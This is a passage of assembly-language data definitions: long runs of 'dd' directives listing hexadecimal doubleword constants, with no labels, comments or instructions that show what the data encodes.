0E5760040h, 66BE31EBh, 0C04B20DDh dd 0D93B51A8h, 67F60C03h, 0D098F49Bh, 95025539h, 0B121B330h dd 76A4A0E0h, 24426D6Eh, 1E22D578h, 0C2540007h, 0FE33818Eh dd 0F0364300h, 0F4F14D4Ch, 0A20204D8h, 87B73CC8h, 6097F75Fh dd 0A7352733h, 0B9658C2Eh, 745FCB01h, 0EE40637Eh, 6ED904h dd 0EE8A352Eh, 0FEF0B9BFh, 241A4C00h, 0CDC5D152h, 614300FCh dd 558E413h, 0AE00D7E1h, 0D6F0B642h, 607E998Eh, 0FABD9C07h dd 0AA00ACD8h, 8B78AD3h, 542B61h, 74AFA526h, 0E9700AB8h dd 9F3F100h, 4580A12Dh, 0B41E00C2h, 0F8EE2142h, 2F0F3757h dd 263CF47Ah, 0A0881D74h, 177FEC1Bh, 40B5AD45h, 0D60A64DCh dd 34007A10h, 962CCBBh, 0EEC6E592h, 5C5105C4h, 88EA2A14h dd 0A0006994h, 0A936FE8Dh, 9AA5ECDCh, 8CD25CA4h, 49E7D102h dd 0C9423963h, 0EB4FF468h, 760608E8h, 0C625D70Eh, 21677C2h dd 50641FDFh, 2450A82Fh, 694C3A00h, 0E15D77Ah, 7AFE748Ah dd 7721C762h, 939FC0F7h, 6C004E5Ch, 0CF64E404h, 0B9D66Fh dd 0F751AB06h, 292401DBh, 0DE074Ch, 0A8A48DAFh, 0F6B9E3AEh dd 5B9300F2h, 0A2A9C70Dh, 0B51CDEBCh, 0D180B6E0h, 0F5F2CC39h dd 5C8B90A6h, 0E7888FEh, 0B6350DC6h, 0E35CED80h, 1A3DE951h dd 0C0C10045h, 0B70A180Ch, 53960291h, 0A822E3EAh, 0B0B76BC3h dd 27E6B01Ah, 0E1EC0F3h, 87F2C505h, 0C020F984h, 62E8264Ah dd 2F79E0A6h, 89EA8C81h, 878320DCh, 0CF007390h, 3BCEC434h dd 471A83h, 0F59B1E7Eh, 81184DE9h, 0D7021C00h, 6BDBABE7h dd 84E43D85h, 0EAEC7280h, 0B048F39Dh, 8A3E3F00h, 87FD3B99h dd 2C4009Ch, 6932D04Ch, 0E4009129h, 0B73DE3ADh, 4C48AA95h dd 1E009AE1h, 1BA02CE5h, 0FC7B49C1h, 20B9230Eh, 2B64E046h dd 3EAE1Dh, 9C990958h, 5227D84Ch, 0C8057471h, 3B671A38h dd 5D29E00h, 0DEFBA4h, 9D0B11E5h, 207099BBh, 1FBCB900h dd 458DDAEFh, 0EC0E3995h, 0E2184C04h, 0FC14A10Ah, 0A800B876h dd 46593925h, 2DA2BBh, 0FA3D8374h, 7F3FBA17h, 0E3A8BD50h dd 0AFBB5C00h, 765661F6h, 0ED503FA5h, 82209A30h, 9B052780h dd 0E62EE214h, 77A0BC00h, 0C2FD4Eh, 0E8372975h, 63150F54h dd 4AA54101h, 32E04B80h, 929E5160h, 0FD500054h, 0B29A1410h dd 9F135251h, 2201AF27h, 8255492Bh, 57E8FC4h, 0E7D538D9h dd 0EF7E82C4h, 3901F4A1h, 9B0024FAh, 28040B00h, 8346EACEh dd 6B4300B1h, 8E798BD0h, 3001F5Fh, 5B6DB6F6h, 1FA2C264h dd 0EEAA6E90h, 7A510E8Bh, 3721108Ch, 5AAF3A00h, 764CE77Ch dd 55008F4h, 1200AD67h, 659F7EFDh, 0EB3D00D2h, 31BEE6BDh dd 21007161h, 0DFDC2982h, 11C3898h, 0F8ED5258h, 88A27FB6h dd 425B018h, 0C1045B6Eh, 83ACC34Bh, 0E612BB58h, 9B0C8E5h dd 148E0E2Ah, 0B23761Ah, 312C7CDEh, 5800FE3Bh, 4F7315DFh dd 0F34D01D4h, 10E26DECh, 4C080CCh, 281864D7h, 0BF913AFCh dd 81A3799h, 20218FDBh, 0BD0F6029h, 25AE16Fh, 0B230C2F8h dd 6BE0CDF4h, 270324FCh, 0EE5C66E7h, 9EB8FB23h, 5B881CB8h dd 916F9835h, 0AF01980Dh, 54EC28AAh, 9131ED5Fh, 218296D1h dd 2AAF7F30h, 0AB1650E0h, 1DF27A05h, 0CC415E58h, 2AEA273h dd 966F1081h, 0FC687407h, 3600E9B1h, 850D982Dh, 0F4BEB49Eh dd 913A0064h, 0B030D91Ah, 1807739Dh, 0F0FDC123h, 807EF592h dd 43C8ADA9h, 80120087h, 0A40AA9B5h, 7F00DA6Ah, 0D270FB91h dd 0E58AFh, 73AE38D1h, 0AA1A2953h, 0E7477C00h, 82CC7A5Bh dd 24AC0549h, 0C0B99A92h, 44AD0450h, 7F032A76h, 575B9C43h dd 1C700061h, 4609750Bh dd 80CF2FB0h, 0A5C09D24h, 0DDFB9F04h, 0A269CE34h, 0AC382CE0h dd 85003E2Bh, 79FD5FEDh, 4E3CF3Bh, 2D37AFB7h, 0D1F280BBh dd 117B1EA7h, 9F008B70h, 0E395C89Bh, 30C5378h, 3B2D648Fh dd 22BB961Dh, 2EB3F900h, 0B81FE5BAh, 0A14F6077h, 72238F29h dd 115FCF00h, 0A0FA562Ch, 5A7300FBh, 0FCB92565h, 0D3EBD67h dd 0CB788219h, 957082D8h, 0B005504h, 1FD44E7Bh, 0F6370023h dd 0C2010D67h, 60077D9h, 10C6275Fh, 0F811DA8h, 2C65514Eh dd 0C980420Eh, 941ED401h, 1DAA5B01h, 0F4BE41D8h, 0EDA9C4h dd 0C6FDE909h, 0C735922Eh, 0BB36121Fh, 0F88EF1C0h, 7CE6F5EFh dd 381F004Eh, 3257C550h, 3C3BDC64h, 56510242h, 0B8D65A96h dd 48B18D5Ch, 3006407h, 0DF7E3ADEh, 0AB00FD55h, 5F290DCh dd 12481BF0h, 1EF8258Dh, 0F12206A8h, 6122287Fh, 0AD5702AAh dd 598D47FFh, 89F46F10h, 0E0E00865h, 4D50C81Ch, 1166DF43h dd 11AEC979h, 2111FF49h, 0EF413CFBh, 11287429h, 0F5113695h dd 589D11F7h, 1A8AB111h, 41292F98h, 2890E471h, 4FB58861h dd 0DD8C3408h, 444451F6h, 3CA01957h, 0B1886079h, 6D51C705h dd 55E0E010h, 0DB407D9Dh, 154A200Eh, 833CC550h, 40817A44h dd 6C1C7090h, 640A795h, 72C61CA3h, 68FE3C94h, 0D67D1Ch dd 0B105BBEBh, 90003F5Dh, 38341E50h, 0B8A3C141h, 4AF861h dd 0F791FB24h, 3CB21A04h, 0D2634B00h, 0F10C0986h, 24A501E5h dd 0C63F5102h, 5B2C08Ah, 0D46038h, 215E54B4h, 0F74E23h dd 53C116E5h, 3738A0Bh, 3C1F20EAh, 1400ACE1h, 7A187912h dd 85BA3D7Fh, 2419C2B3h, 0E61D20B7h, 75003B0Dh, 6038AE7Dh dd 35BA89h, 65E12319h, 6A616881h, 55293900h, 0F1DD7B9h dd 40D80E2Bh, 0EFA035BBh, 0A60ECD03h, 93ED8612h, 1CC0A304h dd 0AB5EBCC0h, 37C33D7Bh, 4A806338h, 2FAC0555h, 2BECAE79h dd 496D003h, 0D8237B76h, 71C518h, 0D5F4A79Eh, 2FCA4E0h dd 2CCFF800h, 0ECC45AFBh, 0B535001Fh, 321BFAF9h, 0B101EEA8h dd 0DA923083h, 17FC1A0Ch, 0CAB22029h, 9E494339h, 2283574Ch dd 0D1652A83h, 0E5C8641Ah, 4480085h, 0BFB00299h, 9800835Eh dd 0EC3E60B3h, 0EA940E13h, 0B8EDF80Ah, 187C6049h, 5C2A51D9h dd 5411CD2Ch, 21900100h, 0E6220DC4h, 53CB009Bh, 7C831AF9h dd 390002DBh, 506C373Ah, 0B82EAEh, 0BA868B08h, 45BCCB61h dd 247BDD30h, 0FE8EFA84h, 0BDDF0051h, 544F81EBh, 60E3CAEh dd 40D37D5Ah, 1B568019h, 0A99E0570h, 0C0F1DD96h, 51E6D4F7h dd 0FE25A0Ah, 9E009756h, 0C59618C6h, 56C0094h, 0B3EDE1AAh dd 2600DC8Eh, 988003F8h, 632D5h, 0AA352DCDh, 0EC8A39B9h dd 91CA1614h, 40B400A0h, 3DAC7AE8h, 3F5B7C06h, 80BC09F1h dd 0C4AD1007h, 0C55C9094h, 0C3E6E0DDh, 5E119C0Fh, 0C130315h dd 0A908C089h, 17C7BC9h, 9F5F4E95h, 708B5B48h, 7B00B20Ch dd 0C724CB8Ah, 0FC10188Eh, 0F4B901B6h, 730B8BC9h, 0B5DAF0BFh dd 0C185A600h, 0C39AEADEh, 0DB6A00FDh, 0A1F18163h, 20003497h dd 583A19C2h, 1E22AB87h, 3DE05Eh, 0B235A021h, 4700DD3Bh dd 0A2C0ADF8h, 1938934h, 27D1BDDAh, 0FC184B51h, 0DD00A00Fh dd 64B281CCh, 199EC6Fh, 5228548Ah, 0C85FC605h, 29FE205Bh dd 10D37C00h, 0F1DC6964h, 0EFE40E49h, 5A60E5ACh, 2030B1C9h dd 848C8A01h, 16746388h, 0B4C2CCh, 53D20251h, 96732339h dd 0D116E0E2h, 9EC061A8h, 0F8BA1Eh, 5154336Ch, 0E0C28CABh dd 0E29B4A00h, 0A1645C38h, 0DC981EA2h, 0C75BDEBCh, 7060F8BFh dd 81E3BBD1h, 0E5DECC00h, 0AE696195h, 2F321C5Ah, 44604F8Ch dd 91885B40h, 0A70297F5h, 0CA6C795Eh, 9809401Fh, 0C0E91FD8h dd 0A83D00C6h, 559CCBC2h, 6772FC0Ah, 0CF84DC6Ch, 5120319Eh dd 0EE015A37h, 0F8B766AEh, 89D4C4A5h, 180109E0h, 3A00CE02h dd 326F1EEEh, 8090F03Dh, 0B1CE33Ch, 840838h, 2DA33D3h dd 9C6E3579h, 64789501h, 0E9A25D14h, 738401F8h, 8EE0CEh dd 10658992h, 9007F7B7h, 0F51C0212h, 6EE501ABh, 800AA10Eh dd 37A76919h, 0A51C332h, 0A5239D36h, 58003D8Ch, 0BFF0E6ACh dd 9900A781h, 0F3FF19Fh, 0A0BC61C9h, 0DF5CD4h, 0A6D1BAF0h dd 7FE75795h, 0CB410605h, 0CB00C542h, 0D73804E6h, 0F8A6005Dh dd 395AF948h, 70021FEh, 8B79C930h, 7BF4E62h, 0D64A1AC2h dd 5FED70F8h, 5507D957h, 0DDE8CE6Dh, 83B95AA0h, 7033F09h dd 0DBA44F80h, 0C6519EC4h, 0B84C620Eh, 34B2C03Bh, 3C6AC082h dd 2E8067BAh, 4F24A1D7h, 4538CEB7h, 8F7E3E13h, 58E5FEh dd 23A3E91Ch, 57A1000Dh, 56F63C6Fh, 8F038E16h, 3B6172DCh dd 0D3CBE862h, 3D54E219h, 0A8807EB7h, 4F21767Fh, 2C001D66h dd 0BDC38DC5h, 0D0FDCEh, 0C84519F9h, 99813ED7h, 0C4019098h dd 46876F1Ah, 0E930FA9Dh, 247A03h, 948A5AA5h, 22D6D88Fh dd 0F327210Fh, 76F08062h, 0FC11CEh, 9D7D49FFh, 5B7CE52Dh dd 0A5665800h, 53CD6727h, 0EF651C68h, 0FE26C0C7h, 13591E95h dd 0D4AE1902h, 8317628Ch, 0E0D3A7F6h, 233AFCh, 0C9BFBEA3h dd 9B157BADh, 0AFA5CE00h, 0C3B59D53h, 7EED03F8h, 9F046EEBh dd 349C95E0h, 0E40B5700h, 0C6ECABF0h, 240C00D0h, 5E0F13D5h dd 25176D97h, 0C9001A39h, 7B7244C5h, 8D190091h, 693FA75Ch dd 2078F2D7h, 52D9A200h, 0A8E3C099h, 0F8F00777h, 575C5527h dd 0A6A9403Ch, 0F5005646h, 82A24744h, 0F75DE5Bh, 41EFAF23h dd 7A8177E0h, 0E800A737h, 0F95510FBh, 6F19D3Ch, 2352E374h dd 180089FEh, 0F01596EFh, 74E49A9h, 0B693FAE7h, 0E0AF8F05h dd 0B01CD507h, 218CC37Ch, 59382C7Ch, 655A00EDh, 0FABE3542h dd 97F2023Dh, 0CAD7BF0Eh, 0C392402Fh, 0F667A94h, 5815DDBBh dd 0CB3FFEDEh, 8500D9BCh, 0C21D1A84h, 0F7183E7Bh, 79ECE0D1h dd 32D407C6h, 479BE790h, 3AB031A5h, 85AEEC92h, 27007277h dd 0BAF79903h, 10BDF6h, 21F50597h, 3C6AC2C6h, 92681500h dd 0FD59324Fh, 8D5100A0h, 52103E39h, 4B3F9131h, 549A80CFh dd 0F0D102A5h, 308B0306h, 42B37B48h, 0FF97B6C0h, 9B1DB100h dd 0DDFDA1C7h, 299C006Ah, 0D0FA2579h, 6200A371h, 0EA357359h dd 7C5744CDh, 0DB650017h, 9DB43ED5h, 831E9510h, 0E24064E5h dd 13F80CBDh, 65AF0E5Ch, 0D9205F1Ch, 0CED1614Fh, 0C5C17503h dd 984011ADh, 1E522AEEh, 0C324FCD6h, 81E60FB8h, 0E40AD1D1h dd 10FF1A4h, 0CEC4FAh, 0AC63B5F6h, 662A3E3Fh, 0D3764303h dd 90DC4846h, 0FF264BE4h, 0B6B9900h, 618541AEh, 0EA6D005Ch dd 4860982Fh, 0E8E9FA72h, 7700CC08h, 0DA8DC29Ch, 44E75CFh dd 5D473EF7h, 0FCA98089h, 0A2600116h, 8EEB8211h, 0BDC70023h dd 0FD51DC6Dh, 5048EE71h, 0F8C80130h, 6A04586h, 3BCE5DD4h dd 0B53C8313h, 0D812EE00h, 6D144C26h, 7BDC3301h, 3D29DABCh dd 92808854h, 47221EBh, 0EF9E0702h, 29FC589h, 7383AD30h dd 0D91C7440h, 0E3006AFEh, 6022080Ah, 989C158Eh, 0F1820308h dd 8B2A9A89h, 6D4878F0h, 0B81FE972h, 7C40106Ah, 9D63E75Dh dd 0A1A7EE33h, 0A8E31489h, 6F9F35h, 87FC2F99h, 9AFF9D7Ah dd 0AD8C6E07h, 0A880FA74h, 0E343ABh, 6BD36C89h, 889ED295h dd 609A960Ah, 0E04F877h, 26808B53h, 3A54D41Ch, 0DF808424h dd 0BA8C4F2Dh, 7A09219Ah, 0A0614112h, 4E2BC28Ch, 681EC0Eh dd 212A02BEh, 0BA3AB062h, 293E308Eh, 0E03F88h, 5ACE0E84h dd 3157FCFAh, 1D6BC700h dd 0C32ACD8Fh, 99B300F5h, 597C73CEh, 0F07B16F4h, 507758h dd 8C6D87B0h, 0D92D5Eh, 0E11301DAh, 9F481D9Ah, 0B8142901h dd 253CE4BDh, 0FE2F4020h, 0B304008Ch, 0A91C6AF5h, 0ED054C40h dd 0D3D6E81h, 0CF3E6680h, 0A67D008Dh, 7923AB35h, 0A4008237h dd 0E2606821h, 2C3FEF5h, 0E666C7A3h, 4940C5E8h, 6203ADA6h dd 9FE5C608h, 5A291C38h, 5BD240BDh, 0A8889192h, 0D04920h dd 0E893D48Dh, 74382BEAh, 94349200h, 88F8760Eh, 124B74B9h dd 5C8504h, 6D2FEF57h, 47007A10h, 26A17206h, 173E3F4h dd 0D41B6AD1h, 60CE7543h, 9500CBE9h, 0E0F39B62h, 0E2D3B669h dd 15EB3C8Ah, 4CD534E2h, 0B0A890C0h, 3244EF07h, 6291F172h dd 29D83C7Eh, 16DF610h, 54B0F91Eh, 0F72ED060h, 0BA4BC0A4h dd 5C0109B5h, 0FBD2511Ch, 0B8204536h, 0C0DA0056h, 9D5EFE40h dd 18079272h, 43BE9730h, 0E7306427h, 0BBE0C6h, 9DFED4C4h dd 3D637B38h, 0C84FA000h, 67AF5443h, 0D78700A5h, 0B88AB207h dd 0DE00388Fh, 0EE31599Ch, 70B47Eh, 5A14B74h, 0FAA403C4h dd 0C09ABC01h, 441E2F3Eh, 592DF0h, 90AA23ECh, 0FA974E74h dd 0D09B4A00h, 3E54DDDEh, 0CA5B00E4h, 85D878E0h, 0BA01A53Bh dd 2EED3C01h, 22F403EEh, 509F0389h, 0EF82E5F1h, 13D038DBh dd 8E00EA23h, 2645D8BAh, 4E3211h, 3A91466Eh, 65FC259Ch dd 0CE24C5EAh, 820068FFh, 0D28C152Eh, 18E20045h, 93D13819h dd 2300BDE6h, 6B547D9Eh, 6F805Ch, 61D60B4Ch, 1A03A718h dd 0AFFF9C00h, 959F7166h, 0CB2600BCh, 77879EECh, 8CF620CCh dd 18003A75h, 5E3FE48Dh, 3DB7C4AFh, 5087A72Eh, 2032D578h dd 0A2BB3B7Bh, 4FF9B92Eh, 0D8341D00h, 124D4769h, 4023094Bh dd 0D480E6CCh, 7B000467h, 20C8947Eh, 70C72B5h, 292C75A3h dd 0A116C0A4h, 0D8E69258h, 1C6D1003h, 74DDC948h, 678604A0h dd 0C0D79E89h, 3F19B89Ch, 39E44C00h, 9F13F758h, 99F057h dd 553648EBh, 0ED0250B1h, 0D3D13200h, 55DC122h, 4FBE0F79h dd 3EC05456h, 9811A038h, 0A7534B00h, 5E619D47h, 95EE0078h dd 21CEF4Dh, 0AC0E65F4h, 475F37A4h, 0FEC06BFCh, 0BACD0Eh dd 2E95F6F1h, 0B4B5F57Bh, 76038473h, 26CEE530h, 204E0056h dd 2CC67036h, 0B49EA54h, 0CD0F0070h, 0A3F0E6F8h, 887E0183h dd 118E078Ch, 1802D8CCh, 0E91EC607h, 0B5A042E8h, 7AA430h dd 0E5505FF5h, 0A3A68CC9h, 0CE2A8900h, 332FB2C4h, 0A4E1E8Ah dd 0B7EA8AA8h, 0C230ABCh, 53250038h, 9B6BF0E1h, 4995B600h dd 69756643h, 42BB1CE4h, 31D2437Bh, 2F3F99Ah, 0C53E46C8h dd 0C38FCAC0h, 7D2C440h, 0A8C0B3B2h, 9452E130h, 33E8F4C9h dd 575AAE00h, 4F8CB57Ah, 5BD400E9h, 0FA31A3AFh, 47E68FC6h dd 66B0DCA8h, 2DCCC400h, 0F606B31Ah, 46C700AAh, 0FFDB30D6h dd 0F00EADC3h, 0ABC92Bh, 3180B483h, 12A2E80Dh, 0C053EAh dd 0CB42D534h, 88005BFEh, 700DEB6Dh, 30D3EA45h, 8186C51h dd 14135228h, 980FE7AFh, 32C61E87h, 884140h, 54AD676Ah dd 7B909216h, 86C3AA06h, 0A91770h, 7EF7E211h, 280930Dh dd 594A4500h, 34C7CCAFh, 762B00CDh, 0ADF53E08h, 9309E670h dd 3569BBh, 8853C616h, 32780026h, 1202CF92h, 2C007F4Fh dd 0CA98C835h, 18D04D66h, 4041FFFEh, 0F500166Ch, 0C0386080h dd 7B4EF8C2h, 0E28098A9h, 1E5200AEh, 2EF0B76Eh, 9002C38Eh dd 12AFBA76h, 0CEBCE0FAh, 111B0091h, 56A917F3h, 3A054FF7h dd 6BD204F9h, 1F02901Dh, 40D9D74Dh, 117E50h, 1DCCEF87h dd 0A4C7EC05h, 21C4F9CFh, 0C82CCBF9h, 7680F571h, 0F60C0F8Ch dd 0AB60E224h, 87BF58B0h, 84715C4Dh, 0B7553507h, 0C64EC07Eh dd 0E126F8DCh, 0EE001437h, 6CC19F63h, 0F98F033Dh, 0D292CFC5h dd 0A66DEF90h, 31009890h, 6B5264C1h, 0A04A56h, 6F2E5898h dd 0D88B221Fh, 0F6E4300h, 0C25CE2CEh, 0F0B22Ah, 7C0989DDh dd 0EE764F9Dh, 0CC50BDEAh, 31004BECh, 7DFD67B5h, 469E0Dh dd 7E15E4D2h, 0C83FBA69h, 0F55DAC03h, 0F8750739h, 6E592AEh dd 7AAD9B67h, 3A4C612Fh, 3A2526DAh, 36351500h, 13813B8Eh dd 1663F71h, 0F81EAF2Dh, 69C5259h, 0ADE20820h, 20C92EFh dd 0BA13BB4Bh, 56C09254h, 0E21D4223h, 48308BA3h, 358731h dd 759BCD24h, 7672C167h, 0F32F5FEAh, 0ECD450A6h, 6CC700AFh dd 864AFEB5h, 961C97B8h, 43C646A1h, 0F4D906h, 485ADF72h dd 3BB041Eh, 52A19500h, 60BDAE77h, 0B6573970h, 734B5A00h dd 0F6ACF1D7h, 0ECBE3300h, 55C078FEh, 0B4341E47h, 8C398023h dd 0F1016482h, 7D9191Ch, 8A7F040h, 0CECE721h, 7EE0496Bh dd 0D60389F6h, 281A90B7h, 3D300B29h, 0F18EDE20h, 7BEF7E01h dd 0E87FF82Eh, 16276300h, 840B2B5Bh, 0F12F0054h, 1EE669B1h dd 0EB0044BBh, 52A5935Ch, 15733Ah, 0F2FF619Fh, 8F895D2Bh dd 3B04ED4Ch, 91948CF0h, 49118Ch, 0A7A467F6h, 48D1E3BAh dd 2D0030E0h, 0E062F2D4h, 28EF4AE8h, 88A2E9h, 1DFFFC32h dd 56738928h, 60F5EB00h, 978F6AAFh, 2B61013Eh, 79338E70h dd 11B8E799h, 86123C1Eh, 10070FFCh, 40E2A787h, 0AC19E1B8h dd 0A5963080h, 0D443593Bh, 0E90A4F00h, 5DE275FCh, 5A2D0704h dd 0B01A36C0h, 41DBB47Ch, 11AF54Ch, 0B618AA99h, 5860962Ah dd 0DCE40EA9h, 0E587C547h, 832DF4F4h, 0C4A08D84h, 770F2AF6h dd 404F0508h, 0E86318D8h, 785101E3h, 20605E69h, 0A02288h dd 91638B43h, 0F72ACFh, 8381B452h, 51973DB9h, 8311B13Fh dd 8DC558F0h, 0C433E0BCh, 5F781340h, 0A38C0F6Ch, 0FC50DCC3h dd 24B5C7A8h, 5D03D096h, 0E0F6E861h, 49260763h, 5248C07Ah dd 0A3D10B78h, 0FC207F7Bh, 3AA90998h, 0AA2428F6h, 8E008415h dd 665BC862h, 472101C1h, 8F3360B1h, 833060ECh, 2609AE90h dd 6051BF07h, 49CB8h, 76449B6Dh, 66C47A20h, 87F6E602h dd 6181343Fh, 8E406AD4h, 0FA44B68h, 2E9740BAh, 939C5020h dd 91C0667Fh, 55A90BDEh, 0B17E098Bh, 0BCE04534h, 20704BECh dd 1C8AAD00h, 94B49A1Eh, 6BBD126Fh, 2EE400F2h, 60730D7Fh dd 356E6200h, 0E8E2E04Ah, 60B09680h, 5B193140h, 0E50B7300h dd 3CFA0569h, 1E6EF8BFh, 16676CDh, 0F06DA39Eh, 78BED429h dd 8FBAE209h, 12A4806Bh, 987C4EF7h, 6F0B1828h, 9FB9A160h dd 0B668A100h, 363CE4EDh, 42320746h, 0F003ECC6h, 1E238A87h dd 86FED139h, 0D9A6CFE6h, 9DC31211h, 21D10124h, 80B49BCAh dd 1F9F4F19h, 71007C2h, 0E2607643h, 3B535051h, 0C603C3DBh dd 49E1A48Dh, 5C209F03h, 0CF572h, 0FAF05595h, 5194C94Dh dd 1B801000h, 1AA2318Eh, 907401C5h, 0CD0916B1h, 5D84C473h dd 0B45F8A00h, 7DEEF8C3h, 23B20FE8h, 17479368h, 5237008Eh dd 0B805C33Dh, 0A763F178h, 0C23060D0h, 4AC89A41h, 0D9E80266h dd 8CA17F19h, 60D43B33h, 4378BBC3h, 76C07D00h, 25480392h dd 388838C5h, 9B741389h, 0FBC69301h, 4B7DC8A3h, 65031A1Ch dd 3ADE9Ch, 43DF6FFFh, 13F98C2h, 36E0EE20h, 0D814DD19h dd 0E6000D03h, 3B730737h, 12C9BC91h, 93650Fh, 131D2C2Ch dd 420E63A4h, 0E385FA21h, 0C0908114h, 0FC5CFBh, 78EADD1Eh dd 0EB29B973h, 1438BCB0h, 0BEBE28h, 5B23FB4h, 1675D55h dd 0A973AABFh, 0C5D69688h, 9BC20F3h, 11006472h, 0F20EC394h dd 731D9FA0h, 0C12F0FACh, 6687E1D7h, 0E4EA105Dh, 0F0B83FB7h dd 32F49D00h, 0B4878B54h dd 7830F570h, 0FF6F0065h, 1CB04378h, 0E9005399h, 6D147B05h dd 0F069FAE7h, 0B6EC54h, 8A4BE47Ah, 0A5647EA9h, 5303F698h dd 0A103595h, 0B3AB898h, 17030023h, 455EC588h, 0F80591A2h dd 0B535EBC7h, 933CF080h, 0F3510163h, 0D52943AAh, 0C17EE0E3h dd 4855D203h, 0D36CEECBh, 0BC28E0C8h, 42BE0E9Bh, 33A0D8EAh dd 626FA4B9h, 0CC05940Eh, 0E6D1C2D6h, 0C690818Fh, 42CE365h dd 0EECA5B00h, 0BEB363C5h, 0A8063301h, 7BD32636h, 7A160h dd 628077D9h, 47678909h, 9B467C00h, 9CFB7021h, 405C0B06h dd 1B000F39h, 675AA5A0h, 0E7E61C00h, 7DD3AC44h, 0F111E9Dh dd 85DC873Dh, 3B87800Bh, 0B3005A6Fh, 0FC157088h, 0EEB1DAB7h dd 58310081h, 1C1990DBh, 0C50017C3h, 82294B8Ah, 1DADBBh dd 4341272Ch, 685C0C88h, 38DF6201h, 467720A8h, 9DFAE4h dd 9984A510h, 0AFC14BBCh, 0C9BD4E00h, 0AE78BF7h, 0E4B61C44h dd 488A40F1h, 0A029033Bh, 0CB5B9700h, 0D6783746h, 0C8E0A08h dd 3F4791Dh, 7E0796FCh, 985B50D0h, 0E10BA51Eh, 0E827D4A8h dd 47EC8F51h, 8CC72B85h, 0C0AC42C3h, 0B8B70D8Fh, 0B4473B3Ch dd 7445B9Eh, 5F34812Fh, 18278E0h, 61008640h, 0AE885E1h dd 0A090BD3Dh, 44B5D2D4h, 5E01393Fh, 3F410C8h, 0D820CE33h dd 0F57E27Fh, 0B6F14609h, 60B0848Ah, 1E0593AEh, 965BD2C0h dd 758074A0h, 0F5CE0120h, 24F8DB3Ah, 0A7A2E47Dh, 43C80200h dd 44A94F0Fh, 4280964Ch, 1B004D15h, 9A80Bh, 46268BD8h dd 3C789DC4h, 7A51900h, 22E4B047h, 1EE503E1h, 73F995E9h dd 0C6247AF0h, 0F0708F17h, 3F0AF840h, 2AE54Fh, 0CC133559h dd 31EC4C4Bh, 6A862000h, 6460A690h, 7FABFC5Fh, 7F9100F3h dd 9D468FDCh, 0BC1C1CEFh, 7400E9CFh, 0A97C0F7h, 47B1004Eh dd 19B03D56h, 9000F160h, 91728D10h, 7574F38h, 0CC76480Bh dd 948E61B8h, 1E807E29h, 1E69434Ch, 752BD5h, 54C2DB9Eh dd 0ED0009FBh, 72F74EC9h, 9B28FEh, 0AEC31D86h, 0A42657ACh dd 5137B300h, 0BF54FC1Ch, 302F1C7Fh, 759E001Dh, 6FE1C443h dd 6276DB7Bh, 4810B209h, 7F74C165h, 12AC864h, 0C3F11483h dd 207CBE09h, 2C037794h, 6653BD06h, 53788A5h, 0E0E20117h dd 93C40882h, 9E9EE5C7h, 72CFCC48h, 40E26581h, 73F3C400h dd 0F5F0EEh, 0FE9B7C1Ah, 0D058553Ch, 18934B26h, 0C2BB2C0Bh dd 1F4360C8h, 3E280012h, 219F86FFh, 3C9091F7h, 2037362Fh dd 84D45D2Ch, 29230146h, 2C2EDF07h, 0F0C8E62Fh, 0B2005EB8h dd 1F02F82Dh, 7F51549h, 0D02A4166h, 422010B0h, 0A90F4B8Dh dd 0E47E08D9h, 60B009D8h, 1CB80Bh, 0FB584F03h, 677A5C45h dd 9E51EF09h, 397005D7h, 0B8CA00FFh, 0AA49C11Dh, 82382709h dd 0D5D80048h, 350F167h, 0FD013123h, 7E887C8Ch, 6D009944h dd 0F79327F2h, 25A46E3h, 3387E66Ah, 78707A7Bh, 80D0413Dh dd 5B1B44Ah, 3136254Bh, 2248F357h, 1FACF032h, 93B76414h dd 1B0171D6h, 5A6A9AB0h, 0D6D81059h, 91E7ED5h, 0C2AD1728h dd 0E1508801h, 0D6B700A2h, 74430076h, 1826C332h, 0E7E87C9Dh dd 8DA9BC1Fh, 0C9D3BA80h, 1AD5B84h, 0DFBE4C5h, 0F79485B2h dd 0C4596EC0h, 53CA848h, 4D96A99Ah, 0B29B20C0h, 0BEE70F8Ah dd 1C20191Ah, 27D09857h, 0D55A3700h, 0B57EB88Fh, 974B0774h dd 0A42CAB1Fh, 83B3C09Ch, 7900C32Dh, 7F3B009h, 0A0228525h dd 56BA5E4h, 0C8C5FAAFh, 80518419h, 964359D8h, 0DE3C3800h dd 6585023h, 0EABD0711h, 4019EDF0h, 0C8F62D9Fh, 0D200577Bh dd 0F5A121B0h, 4A13EEh, 0AEB5935Ah, 0CEC39B47h, 0F202673Ch dd 0B828C09h, 6E130FCCh, 1736CED8h, 8F1AB400h, 23C8E6h dd 31DC6D6h, 0F53A7478h, 6F001E7Bh, 84EBD47Fh, 0F2AD236h dd 485FB146h, 6BEC00B2h, 401058F2h, 2D076677h, 1179FDA0h dd 1A92002Fh, 3EAE9862h, 0A200F12Bh, 6C9A52FFh, 99002C37h dd 0A343DC87h, 22EF065h, 702688C2h, 0D4009891h, 12892C7Ch dd 0B12B9A36h, 0B6F3CC38h, 0F98BF400h, 71083DE8h, 0F84F0E7h dd 0C6D2469Bh, 3F0F26E0h, 7B30B989h, 0B51E38E9h, 64241D4Ch dd 731E6A7h, 80A63391h, 0D4772674h, 4984DE0h, 79A94817h dd 38C3BC40h, 77FB34Ah, 6ECDEC68h, 0A567E0EDh, 0A177F77Dh dd 0EE224C00h, 0CDF2D226h, 0CA650546h, 0C17290A7h, 0D43CA5D4h dd 0A42C5C78h, 0CC00F8E1h, 0AD6A8B64h, 532100A3h, 0D975B84Fh dd 0DC009B2Bh, 6D84871Ch, 5D46266h, 14449131h, 0A7857Ah dd 2EC480DCh, 0F70F58B0h, 0E039860Ch, 0F684BD20h, 8F880316h dd 0ADB20942h, 0E0CCE5E1h, 0BF0008EAh, 0CDE1C7FDh, 0F815F838h dd 62D80299h, 0A412857Bh, 236A3C60h, 0E020FA4Ah, 3F99C8AFh dd 8401F8B0h, 0B787B0Eh, 0DC8040A6h, 5000B716h, 0F1949275h dd 5BB54Bh, 0E94FA9AFh, 7CFE79D2h, 0C1118A60h, 2522838h dd 0DD9E9F24h, 827DEA46h, 40726970h, 3E1DA420h, 3FBCC623h dd 44895DA7h, 58F7C500h, 0F90F2FE5h, 80D1F0E6h, 79342841h dd 81520ED9h, 462098A6h, 99F3661Fh, 9487C328h, 32B33800h dd 3A9A6430h, 0DD9B0003h, 7A404136h, 0D094A70Ch, 80007F13h dd 376D3313h, 0A91C1C8Fh, 0BF424773h, 0CF01C2B3h, 0AF00E858h dd 0F8D1E1EAh, 88184Ch, 623D673Fh, 0D566432Bh, 0EB3961F0h dd 0CF2D0108h, 9470DC47h, 